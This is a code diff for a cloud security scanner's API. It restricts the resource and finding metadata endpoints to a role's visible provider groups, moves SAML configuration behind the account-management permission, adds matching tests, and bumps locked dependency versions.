+ provider=provider,
+ trigger=Scan.TriggerChoices.MANUAL,
+ state=StateChoices.COMPLETED,
+ tenant_id=tenant_id,
+ )
+ finding = Finding.objects.create(
+ tenant_id=tenant_id,
+ uid=f"finding-{uuid4()}",
+ scan=scan,
+ delta="new",
+ status=Status.FAIL,
+ status_extended="test status",
+ impact=Severity.critical,
+ impact_extended="test impact",
+ severity=Severity.critical,
+ raw_result={"status": Status.FAIL},
+ check_id="scoped_check",
+ check_metadata={"CheckId": "scoped_check"},
+ categories=categories,
+ resource_groups=resource_group,
+ first_seen_at="2024-01-02T00:00:00Z",
+ )
+ finding.add_resources(resources)
+ backfill_resource_scan_summaries(tenant_id, str(scan.id))
+ aggregate_scan_category_summaries(tenant_id, str(scan.id))
+ aggregate_scan_resource_group_summaries(tenant_id, str(scan.id))
+ return scan
+
+
+@pytest.fixture
+def scans_per_provider_fixture(tenants_fixture, aws_provider_pair, resources_fixture):
+ """One completed scan per provider; provider 2 only owns the `test` typed resource."""
+ tenant = tenants_fixture[0]
+ provider1, provider2 = aws_provider_pair
+ resource1, resource2, resource3 = resources_fixture
+ _completed_scan_with_summaries(
+ tenant,
+ provider1,
+ [resource1, resource2],
+ categories=["iam"],
+ resource_group="identity",
+ )
+ _completed_scan_with_summaries(
+ tenant,
+ provider2,
+ [resource3],
+ categories=["data-protection"],
+ resource_group="data",
+ )
+ return tenant, provider2
+
+
@pytest.mark.django_db
class TestResourceViewSet:
def test_resources_list_none(self, authenticated_client):
@@ -7460,6 +7558,42 @@ class TestResourceViewSet:
assert attributes["types"] == [latest_scan_resource.type]
assert "groups" in attributes
+ def test_resources_metadata_restricted_to_provider_group(
+ self, authenticated_client_for_tenant_factory, scans_per_provider_fixture
+ ):
+ tenant, provider2 = scans_per_provider_fixture
+ client = _client_restricted_to_provider(
+ tenant, provider2, authenticated_client_for_tenant_factory
+ )
+
+ response = client.get(
+ reverse("resource-metadata"), {"filter[updated_at]": TODAY}
+ )
+
+ assert response.status_code == status.HTTP_200_OK
+ attributes = response.json()["data"]["attributes"]
+ assert set(attributes["services"]) == {"ec2"}
+ assert set(attributes["regions"]) == {"us-east-1"}
+ assert set(attributes["types"]) == {"test"}
+ assert set(attributes["groups"]) == {"compute"}
+
+ def test_resources_metadata_latest_restricted_to_provider_group(
+ self, authenticated_client_for_tenant_factory, scans_per_provider_fixture
+ ):
+ tenant, provider2 = scans_per_provider_fixture
+ client = _client_restricted_to_provider(
+ tenant, provider2, authenticated_client_for_tenant_factory
+ )
+
+ response = client.get(reverse("resource-metadata_latest"))
+
+ assert response.status_code == status.HTTP_200_OK
+ attributes = response.json()["data"]["attributes"]
+ assert set(attributes["services"]) == {"ec2"}
+ assert set(attributes["regions"]) == {"us-east-1"}
+ assert set(attributes["types"]) == {"test"}
+ assert set(attributes["groups"]) == {"compute"}
+
def test_resources_latest_filter_by_provider_id(
self, authenticated_client, latest_scan_resource
):
@@ -9092,6 +9226,53 @@ class TestFindingViewSet:
assert "groups" in attributes
assert "ai_ml" in attributes["groups"]
+ @patch("api.v1.views.backfill_scan_resource_summaries_task.apply_async")
+ def test_findings_metadata_restricted_to_provider_group(
+ self,
+ mock_backfill,
+ authenticated_client_for_tenant_factory,
+ scans_per_provider_fixture,
+ ):
+ tenant, provider2 = scans_per_provider_fixture
+ client = _client_restricted_to_provider(
+ tenant, provider2, authenticated_client_for_tenant_factory
+ )
+
+ response = client.get(
+ reverse("finding-metadata"), {"filter[inserted_at]": TODAY}
+ )
+
+ assert response.status_code == status.HTTP_200_OK
+ mock_backfill.assert_not_called()
+ attributes = response.json()["data"]["attributes"]
+ assert set(attributes["services"]) == {"ec2"}
+ assert set(attributes["regions"]) == {"us-east-1"}
+ assert set(attributes["resource_types"]) == {"test"}
+ assert set(attributes["categories"]) == {"data-protection"}
+
+ @patch("api.v1.views.backfill_scan_resource_summaries_task.apply_async")
+ def test_findings_metadata_latest_restricted_to_provider_group(
+ self,
+ mock_backfill,
+ authenticated_client_for_tenant_factory,
+ scans_per_provider_fixture,
+ ):
+ tenant, provider2 = scans_per_provider_fixture
+ client = _client_restricted_to_provider(
+ tenant, provider2, authenticated_client_for_tenant_factory
+ )
+
+ response = client.get(reverse("finding-metadata_latest"))
+
+ assert response.status_code == status.HTTP_200_OK
+ mock_backfill.assert_not_called()
+ attributes = response.json()["data"]["attributes"]
+ assert set(attributes["services"]) == {"ec2"}
+ assert set(attributes["regions"]) == {"us-east-1"}
+ assert set(attributes["resource_types"]) == {"test"}
+ assert set(attributes["categories"]) == {"data-protection"}
+ assert set(attributes["groups"]) == {"data"}
+
def test_findings_filter_by_category(
self, authenticated_client, findings_with_categories
):
diff --git a/api/src/backend/api/v1/views.py b/api/src/backend/api/v1/views.py
index 5dc175dd42..3880042b3f 100644
--- a/api/src/backend/api/v1/views.py
+++ b/api/src/backend/api/v1/views.py
@@ -351,6 +351,15 @@ from tasks.tasks import (
logger = logging.getLogger(BackendLogger.API)
+
+def _scans_visible_to(role, tenant_id):
+ """Tenant scans, narrowed to the role's provider groups unless it has unlimited visibility."""
+ scans = Scan.all_objects.filter(tenant_id=tenant_id)
+ if role.unlimited_visibility:
+ return scans
+ return scans.filter(provider__in=get_providers(role))
+
+
CACHE_DECORATOR = cache_control(
max_age=django_settings.CACHE_MAX_AGE,
stale_while_revalidate=django_settings.CACHE_STALE_WHILE_REVALIDATE,
@@ -799,7 +808,9 @@ class SAMLConfigurationViewSet(BaseRLSViewSet):
"""
serializer_class = SAMLConfigurationSerializer
- required_permissions = [Permissions.MANAGE_INTEGRATIONS]
+ # The IdP behind this configuration decides who signs in and which role
+ # they get, so writing it is account administration, not an integration.
+ required_permissions = [Permissions.MANAGE_ACCOUNT]
queryset = SAMLConfiguration.objects.all()
def get_queryset(self):
@@ -1896,7 +1907,7 @@ class ProviderViewSet(DisablePaginationMixin, BaseRLSViewSet):
self.required_permissions = [Permissions.MANAGE_PROVIDERS]
def get_queryset(self):
- user_roles = get_role(self.request.user, self.request.tenant_id)
+ user_roles = self.user_role
if user_roles.unlimited_visibility:
# User has unlimited visibility, return all providers
queryset = Provider.objects.filter(tenant_id=self.request.tenant_id)
@@ -3058,7 +3069,7 @@ class AttackPathsScanViewSet(BaseRLSViewSet):
return super().get_serializer_class()
def get_queryset(self):
- user_roles = get_role(self.request.user, self.request.tenant_id)
+ user_roles = self.user_role
base_queryset = AttackPathsScan.objects.filter(tenant_id=self.request.tenant_id)
if user_roles.unlimited_visibility:
@@ -3412,7 +3423,7 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
required_permissions = []
def get_queryset(self):
- user_roles = get_role(self.request.user, self.request.tenant_id)
+ user_roles = self.user_role
if user_roles.unlimited_visibility:
# User has unlimited visibility, return all scans
queryset = Resource.all_objects.filter(tenant_id=self.request.tenant_id)
@@ -3544,8 +3555,15 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
tenant_id = request.tenant_id
query_params = request.query_params
+ user_roles = self.user_role
queryset = ResourceScanSummary.objects.filter(tenant_id=tenant_id)
+ if not user_roles.unlimited_visibility:
+ queryset = queryset.filter(
+ scan_id__in=_scans_visible_to(user_roles, tenant_id).values_list(
+ "id", flat=True
+ )
+ )
if scans := query_params.get("filter[scan__in]") or query_params.get(
"filter[scan]"
@@ -3623,7 +3641,10 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
all_groups = Resource.objects.filter(
tenant_id=tenant_id,
groups__isnull=False,
- ).values_list("groups", flat=True)
+ )
+ if not user_roles.unlimited_visibility:
+ all_groups = all_groups.filter(provider__in=get_providers(user_roles))
+ all_groups = all_groups.values_list("groups", flat=True)
groups = sorted(
{g for groups_list in all_groups if groups_list for g in groups_list}
)
@@ -3648,9 +3669,10 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
def metadata_latest(self, request):
tenant_id = request.tenant_id
query_params = request.query_params
+ user_roles = self.user_role
- latest_scans_queryset = Scan.all_objects.filter(
- tenant_id=tenant_id
+ latest_scans_queryset = _scans_visible_to(
+ user_roles, tenant_id
).latest_per_provider()
queryset = ResourceScanSummary.objects.filter(
@@ -3691,7 +3713,10 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
all_groups = Resource.objects.filter(
tenant_id=tenant_id,
groups__isnull=False,
- ).values_list("groups", flat=True)
+ )
+ if not user_roles.unlimited_visibility:
+ all_groups = all_groups.filter(provider__in=get_providers(user_roles))
+ all_groups = all_groups.values_list("groups", flat=True)
groups = sorted(
{g for groups_list in all_groups if groups_list for g in groups_list}
)
@@ -4028,7 +4053,7 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
def get_queryset(self):
tenant_id = self.request.tenant_id
- user_roles = get_role(self.request.user, self.request.tenant_id)
+ user_roles = self.user_role
if user_roles.unlimited_visibility:
# User has unlimited visibility, return all findings
queryset = Finding.all_objects.filter(tenant_id=tenant_id)
@@ -4102,8 +4127,16 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
tenant_id = request.tenant_id
query_params = request.query_params
+ user_roles = self.user_role
+ visible_scan_ids = (
+ None
+ if user_roles.unlimited_visibility
+ else _scans_visible_to(user_roles, tenant_id).values_list("id", flat=True)
+ )
queryset = ResourceScanSummary.objects.filter(tenant_id=tenant_id)
+ if not user_roles.unlimited_visibility:
+ queryset = queryset.filter(scan_id__in=visible_scan_ids)
scan_based_filters = {}
category_scan_filters = {} # Filters for ScanCategorySummary
@@ -4161,7 +4194,10 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
if not queryset.exists():
raw_scans_ids = Scan.objects.filter(
tenant_id=tenant_id, **scan_based_filters
- ).values_list("id", "unique_resource_count")
+ )
+ if not user_roles.unlimited_visibility:
+ raw_scans_ids = raw_scans_ids.filter(id__in=visible_scan_ids)
+ raw_scans_ids = raw_scans_ids.values_list("id", "unique_resource_count")
scan_ids = [
scan_id for scan_id, count in raw_scans_ids if count and count > 0
]
@@ -4203,11 +4239,13 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
)
# Get categories from ScanCategorySummary using same scan filters
+ category_summaries = ScanCategorySummary.objects.filter(
+ tenant_id=tenant_id, **category_scan_filters
+ )
+ if not user_roles.unlimited_visibility:
+ category_summaries = category_summaries.filter(scan_id__in=visible_scan_ids)
categories = list(
- ScanCategorySummary.objects.filter(
- tenant_id=tenant_id, **category_scan_filters
- )
- .values_list("category", flat=True)
+ category_summaries.values_list("category", flat=True)
.distinct()
.order_by("category")
)
@@ -4262,9 +4300,10 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
def metadata_latest(self, request):
tenant_id = request.tenant_id
query_params = request.query_params
+ user_roles = self.user_role
- latest_scans_queryset = Scan.all_objects.filter(
- tenant_id=tenant_id
+ latest_scans_queryset = _scans_visible_to(
+ user_roles, tenant_id
).latest_per_provider()
raw_latest_scans_ids = list(
latest_scans_queryset.values_list("id", "unique_resource_count")
diff --git a/api/src/backend/conftest.py b/api/src/backend/conftest.py
index f2a3de5bd3..d4247cee7a 100644
--- a/api/src/backend/conftest.py
+++ b/api/src/backend/conftest.py
@@ -443,6 +443,47 @@ def authenticated_client_rbac_manage_users_only(
)
+@pytest.fixture(scope="function")
+def create_test_user_rbac_manage_integrations_only(django_db_setup, django_db_blocker):
+ """User with only manage_integrations permission (no manage_account)."""
+ with django_db_blocker.unblock():
+ user = User.objects.create_user(
+ name="testing_manage_integrations_only",
+ email="rbac_manage_integrations_only@rbac.com",
+ password=TEST_PASSWORD,
+ )
+ tenant = Tenant.objects.create(name="Tenant Test Manage Integrations Only")
+ Membership.objects.create(
+ user=user,
+ tenant=tenant,
+ role=Membership.RoleChoices.OWNER,
+ )
+ role = Role.objects.create(
+ name="manage_integrations_only",
+ tenant_id=tenant.id,
+ manage_users=False,
+ manage_account=False,
+ manage_billing=False,
+ manage_providers=False,
+ manage_integrations=True,
+ manage_scans=False,
+ unlimited_visibility=False,
+ )
+ UserRoleRelationship.objects.create(user=user, role=role, tenant_id=tenant.id)
+ return user
+
+
+@pytest.fixture
+def authenticated_client_rbac_manage_integrations_only(
+ create_test_user_rbac_manage_integrations_only, client
+):
+ return authenticate_client_for_tenant(
+ client,
+ create_test_user_rbac_manage_integrations_only,
+ first_membership_tenant(create_test_user_rbac_manage_integrations_only),
+ )
+
+
@pytest.fixture
def authenticated_client_rbac(create_test_user_rbac, tenants_fixture, client):
return authenticate_client_for_tenant(
diff --git a/api/uv.lock b/api/uv.lock
index afb8b9b2ca..4341ec1d73 100644
--- a/api/uv.lock
+++ b/api/uv.lock
@@ -1,5 +1,5 @@
version = 1
-revision = 3
+revision = 2
requires-python = ">=3.11, <3.13"
resolution-markers = [
"python_full_version >= '3.12' and sys_platform == 'win32'",
@@ -16,7 +16,7 @@ constraints = [
{ name = "aiobotocore", specifier = "==2.25.1" },
{ name = "aiofiles", specifier = "==24.1.0" },
{ name = "aiohappyeyeballs", specifier = "==2.6.1" },
- { name = "aiohttp", specifier = "==3.14.3" },
+ { name = "aiohttp", specifier = "==3.14.5" },
{ name = "aioitertools", specifier = "==0.13.0" },
{ name = "aiosignal", specifier = "==1.4.0" },
{ name = "alibabacloud-actiontrail20200706", specifier = "==2.4.1" },
@@ -112,7 +112,7 @@ constraints = [
{ name = "botocore", specifier = "==1.40.61" },
{ name = "cartography", specifier = "==0.138.1" },
{ name = "celery", specifier = "==5.6.2" },
- { name = "certifi", specifier = "==2026.1.4" },
+ { name = "certifi", specifier = "==2026.10.19" },
{ name = "cffi", specifier = "==2.0.0" },
{ name = "charset-normalizer", specifier = "==3.4.4" },
{ name = "circuitbreaker", specifier = "==2.1.3" },
@@ -266,7 +266,7 @@ constraints = [
{ name = "pagerduty", specifier = "==6.1.0" },
{ name = "pandas", specifier = "==2.2.3" },
{ name = "pbr", specifier = "==7.0.3" },
- { name = "pillow", specifier = "==12.3.0" },
+ { name = "pillow", specifier = "==13.0.0" },
{ name = "pkginfo", specifier = "==1.12.1.2" },
{ name = "platformdirs", specifier = "==4.5.1" },
{ name = "plotly", specifier = "==6.5.2" },
@@ -369,7 +369,7 @@ constraints = [
{ name = "xlsxwriter", specifier = "==3.2.9" },
{ name = "xmlsec", specifier = "==1.3.17" },
{ name = "xmltodict", specifier = "==1.0.2" },
- { name = "yarl", specifier = "==1.22.0" },
+ { name = "yarl", specifier = "==1.25.1" },
{ name = "zipp", specifier = "==3.23.0" },
{ name = "zope-event", specifier = "==6.1" },
{ name = "zope-interface", specifier = "==8.2" },
@@ -480,7 +480,7 @@ wheels = [
[[package]]
name = "aiohttp"
-version = "3.14.3"
+version = "3.14.5"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "aiohappyeyeballs" },
@@ -492,44 +492,45 @@ dependencies = [
{ name = "typing-extensions" },
{ name = "yarl" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 7971213, upload-time = "2026-07-23T01:57:27.037Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/6c/4c/bdccd81e9ee225b69c60e7766c9a5b05364f118f4d383713b89a682d772d/aiohttp-3.14.5.tar.gz", hash = "sha256:5558a7f5a05af9ecf744af91e5baefc436f93c9333e656c27ec253f9a6bbe178", size = 8078052, upload-time = "2026-10-11T01:05:12.408Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/f8/5c/b3e4ff8ad43a8afef9602c5e90285936da1beaea8b029016b793891f03c3/aiohttp-3.14.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3", size = 764250, upload-time = "2026-07-23T01:52:48.525Z" },
- { url = "https://files.pythonhosted.org/packages/0e/da/f1b384465e51449d844056b75070461da03a9a23e6c1747003695bf4172a/aiohttp-3.14.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a", size = 516281, upload-time = "2026-07-23T01:52:51.047Z" },
- { url = "https://files.pythonhosted.org/packages/b9/3f/01264f820ee2e3712a827892b1cd6ff80f3300c1fcbffbb45714a915d47a/aiohttp-3.14.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8", size = 514742, upload-time = "2026-07-23T01:52:53.779Z" },
- { url = "https://files.pythonhosted.org/packages/9e/8d/a71c6f2db52ac1ed142b133f7feddaa6b70539c3f4de24d7e226c95b794c/aiohttp-3.14.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239", size = 1780613, upload-time = "2026-07-23T01:52:56.948Z" },
- { url = "https://files.pythonhosted.org/packages/a5/11/3dd9b3fb3a170f6ec9011b5291d876a6fab4086714c9e158600edf01b4fd/aiohttp-3.14.3-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f", size = 1737688, upload-time = "2026-07-23T01:52:59.294Z" },
- { url = "https://files.pythonhosted.org/packages/6d/3e/834c26918be7d88068822b40e0db30fca50b5f4fe79104aa16a93f1d74e6/aiohttp-3.14.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06", size = 1845742, upload-time = "2026-07-23T01:53:01.641Z" },
- { url = "https://files.pythonhosted.org/packages/cc/c9/49ab8572df7d66bc13d11e31f781292badb04180dd87ba98733066c6aed7/aiohttp-3.14.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929", size = 1928412, upload-time = "2026-07-23T01:53:04.018Z" },
- { url = "https://files.pythonhosted.org/packages/a5/b9/2b8f0c0ce09c87a1daf80fd483431b56b1435d3f62789bc86f572e1245de/aiohttp-3.14.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db", size = 1786220, upload-time = "2026-07-23T01:53:06.481Z" },
- { url = "https://files.pythonhosted.org/packages/85/00/9c45f81de11710460edfa1dc81317b6e882703b160926c879a9d20da9fcc/aiohttp-3.14.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce", size = 1637231, upload-time = "2026-07-23T01:53:10.258Z" },
- { url = "https://files.pythonhosted.org/packages/19/ce/967d628e910756f3539c6107cb7844a1b69440dcb3029a5ee7871b09ab63/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c", size = 1753161, upload-time = "2026-07-23T01:53:13.817Z" },
- { url = "https://files.pythonhosted.org/packages/11/b2/0c3d4114f0aee4f580f5b3b4eb71b24d7a23b834ea506a4dfebe76513f35/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15", size = 1756356, upload-time = "2026-07-23T01:53:16.211Z" },
- { url = "https://files.pythonhosted.org/packages/63/5d/99e7d91c82f1399d1ae2a854e080bd1493fbc31e5e959dbc4ec33dac3bec/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c", size = 1819846, upload-time = "2026-07-23T01:53:18.289Z" },
- { url = "https://files.pythonhosted.org/packages/ad/05/d5e1cb6480eeffd3f901d40a2c5e2d1e7effdc797837da3b490272699f13/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae", size = 1628531, upload-time = "2026-07-23T01:53:23.86Z" },
- { url = "https://files.pythonhosted.org/packages/c9/90/b934682bcaefae18a9e04f3dff5b68522ba810906358ae5029b68110ea3b/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910", size = 1832712, upload-time = "2026-07-23T01:53:27.551Z" },
- { url = "https://files.pythonhosted.org/packages/21/df/6061679faaf81fac746e7307c7adb71e858071a5d34c27583afefc64f543/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7", size = 1775014, upload-time = "2026-07-23T01:53:30.223Z" },
- { url = "https://files.pythonhosted.org/packages/8a/1d/f854878bbc69b88faefe924b619a34a6f59ec05fd387c77690667eaa75eb/aiohttp-3.14.3-cp311-cp311-win32.whl", hash = "sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa", size = 456006, upload-time = "2026-07-23T01:53:34.97Z" },
- { url = "https://files.pythonhosted.org/packages/73/0c/2af9d1674baccd1dbd47282a93d660a22e57ef6167c856deb24b4214fbab/aiohttp-3.14.3-cp311-cp311-win_amd64.whl", hash = "sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d", size = 481069, upload-time = "2026-07-23T01:53:39.673Z" },
- { url = "https://files.pythonhosted.org/packages/8e/76/88401ff3fc95e85c5fc38d588f36f55e61ecb64343b2bc8d69326f453cc0/aiohttp-3.14.3-cp311-cp311-win_arm64.whl", hash = "sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39", size = 453021, upload-time = "2026-07-23T01:53:43.749Z" },
- { url = "https://files.pythonhosted.org/packages/18/d4/eb96299230e20acf2efae207cb8d69051f1f68e357e5ea5e479bf6fb097a/aiohttp-3.14.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5", size = 754690, upload-time = "2026-07-23T01:53:47.332Z" },
- { url = "https://files.pythonhosted.org/packages/88/11/e7a70a209eb9a067c0d3212b518a0134e3484f5178c7533878b6b514d469/aiohttp-3.14.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228", size = 509484, upload-time = "2026-07-23T01:53:51.159Z" },
- { url = "https://files.pythonhosted.org/packages/30/07/4bbc222cc8dbe31d4c3e8a5baad2286e4d42026ac0c570027b89afce6344/aiohttp-3.14.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee", size = 511949, upload-time = "2026-07-23T01:53:55.083Z" },
- { url = "https://files.pythonhosted.org/packages/54/b9/42e74c46b7b7c794b995bbc1f573fb48950c38b19d8600c62a6804ee2d67/aiohttp-3.14.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a", size = 1765282, upload-time = "2026-07-23T01:53:59.662Z" },
- { url = "https://files.pythonhosted.org/packages/6b/ed/62bc4d74363ad346d518e0720363a949f63e2e23439a79eb5813d4d29bb3/aiohttp-3.14.3-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b", size = 1741511, upload-time = "2026-07-23T01:54:04.063Z" },
- { url = "https://files.pythonhosted.org/packages/d0/9f/181e8a8bc79e47d13c7fc4540bd7a3b729d9505609c61f392a8dd2fbfe55/aiohttp-3.14.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529", size = 1810680, upload-time = "2026-07-23T01:54:09.882Z" },
- { url = "https://files.pythonhosted.org/packages/5c/9a/dec94d6ad694552fe3424e3f1928d7a606a5d9d9433a04e7ecdd9d38ae7f/aiohttp-3.14.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787", size = 1905646, upload-time = "2026-07-23T01:54:13.475Z" },
- { url = "https://files.pythonhosted.org/packages/52/b7/7cd31f29d6055bd711ae6e669367fba6f5ae9de463910a793e30556a8db7/aiohttp-3.14.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42", size = 1792122, upload-time = "2026-07-23T01:54:15.752Z" },
- { url = "https://files.pythonhosted.org/packages/66/73/10b1ef93afa61f4963c746257b70ced619cf31a4798671de5fdb2608501d/aiohttp-3.14.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b", size = 1591127, upload-time = "2026-07-23T01:54:19.489Z" },
- { url = "https://files.pythonhosted.org/packages/49/ed/3b203fa6de1b338c14acdc06bf6ca9b043b7944f005966958c2ced932cde/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043", size = 1725210, upload-time = "2026-07-23T01:54:24.129Z" },
- { url = "https://files.pythonhosted.org/packages/28/b7/1c2aab8c706436dcc28598452488ac9cd7c409da815237c28c27d58993e6/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427", size = 1764848, upload-time = "2026-07-23T01:54:27.973Z" },
- { url = "https://files.pythonhosted.org/packages/54/50/94c28f08b131c4bf10984ea2c7a536c9920608bb2d6e7f95642c30cc87b7/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d", size = 1777102, upload-time = "2026-07-23T01:54:31.775Z" },
- { url = "https://files.pythonhosted.org/packages/13/d4/e7d09ba7d345fb2d74440fd2fa033c5e079fac05552927705986f41a364f/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0", size = 1580205, upload-time = "2026-07-23T01:54:34.518Z" },
- { url = "https://files.pythonhosted.org/packages/a3/84/072a91d68e1e1eb587985b54baab94221277f877e8ef274fc213a0ceae28/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d", size = 1797219, upload-time = "2026-07-23T01:54:36.995Z" },
- { url = "https://files.pythonhosted.org/packages/e0/eb/aad34e897e668424d6e995da5dff8a4a09af93363d3392488772957a63aa/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19", size = 1768629, upload-time = "2026-07-23T01:54:40.103Z" },
- { url = "https://files.pythonhosted.org/packages/b6/2b/6bb88ddba0fecd9122aa3ebcad25996cf6c083a4a7040dbb3a4f97972af6/aiohttp-3.14.3-cp312-cp312-win32.whl", hash = "sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559", size = 451481, upload-time = "2026-07-23T01:54:42.547Z" },
- { url = "https://files.pythonhosted.org/packages/76/9b/f2f8f108da17ecef2cc3efc424e8b7ad3782b1a8360f7b8eae8ced84f6ea/aiohttp-3.14.3-cp312-cp312-win_amd64.whl", hash = "sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a", size = 476845, upload-time = "2026-07-23T01:54:44.853Z" },
- { url = "https://files.pythonhosted.org/packages/3e/44/28dac80a8941b604f4da10ce21097614ca1bf905ce93dca28d8d7de9c1e7/aiohttp-3.14.3-cp312-cp312-win_arm64.whl", hash = "sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c", size = 448050, upload-time = "2026-07-23T01:54:47.087Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/f3/8997f18890a92c79f77fcfbb4f78ca17c2d4ab109e9eb6d31b4e9de194a0/aiohttp-3.14.5-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:d51db97c96384fbfcaf8f4c65922183a68b94f891c3c10c862ef5f6df2adbb1f", size = 832358, upload-time = "2026-10-11T00:59:42.195Z" },
